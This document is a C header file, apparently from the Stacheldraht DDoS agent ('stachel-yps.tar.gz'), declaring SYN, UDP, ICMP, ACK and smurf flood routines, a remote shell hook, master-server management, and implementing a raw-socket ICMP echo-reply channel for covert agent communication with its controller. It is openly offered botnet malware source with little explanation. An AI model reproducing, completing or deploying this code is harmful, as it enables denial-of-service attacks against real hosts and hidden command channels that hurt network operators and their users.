tubby.h

攻防自卫 ddos stachel-yps.tar.gz

#ifndef TUBBY_H
#define TUBBY_H

//#define __FAVOR_BSD

/*#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>*/

int timiend;


#if CHILDS > 15
#error "Packet kiddie detected..."
#error "That many childs would crash the host... :)"
#endif

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
#define ANSWER send_connect (ipi->ip_src.s_addr, ID_ACK, answer)

void send_connect (unsigned long, unsigned int, char *);

int returnlocalip();
void syn (u_long victim, u_short port, u_short flagg);
u_short cksum (u_short *, int);
void icmp2(int,int);
int udp (int lamer);
int validip (char *);
void icmp (int);
char *strfl (void);
void show_shit (char *);
u_long k00lip (void);
char *k00lntoa (void);
void must_kill_all (void);
void commence_udp (char *);
void commence_nul (char *);
void commence_ack (char *);
void commence_syn (char *);
void commence_icmp (char *);
void commence_smurf (char *);
void delmserver(char *);
void addnewmserver(char *);


#ifdef ID_SHELL
void shellsex (int);
#endif

unsigned short
ip_sum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

u_short
cksum (u_short * buf, int nwords)
{

  unsigned long sum;

  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

int
validip (char *ip)
{
  int a, b, c, d, *x;
  sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d);
  x = &a;
  if (*x < 0)
    return 0;
  if (*x > 255)
    return 0;
  x = &b;
  if (*x < 0)
    return 0;
  if (*x > 255)
    return 0;
  x = &c;
  if (*x < 0)
    return 0;
  if (*x > 255)
    return 0;
  x = &d;
  if (*x < 0)
    return 0;
  if (*x > 255)
    return 0;
  sprintf (ip, "%d.%d.%d.%d", a, b, c, d);	// truncate possible garbage data

  return 1;
}

void send_connect (unsigned long to, unsigned int id, char *data)
{
  char buf[1024];
  struct icmp *icmpi = (struct icmp *) buf;
  char *bla = (buf + sizeof (struct icmp));
  struct sockaddr_in sa;
  int i, ssock;
  ssock = socket (AF_INET, SOCK_RAW, 1);

//  bzero (buf, sizeof(buf));
  memset(buf,0,sizeof(buf));

  icmpi->icmp_type = 0;
  icmpi->icmp_hun.ih_idseq.icd_id = htons (id);
 // memcpy(bla,data,sizi);
  strcpy(bla,data);
  icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, 1024);
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = to;
  i = sendto (ssock, buf, 1024, 0, (struct sockaddr *) &sa, sizeof (sa));
  close (ssock);
  return;
}



#endif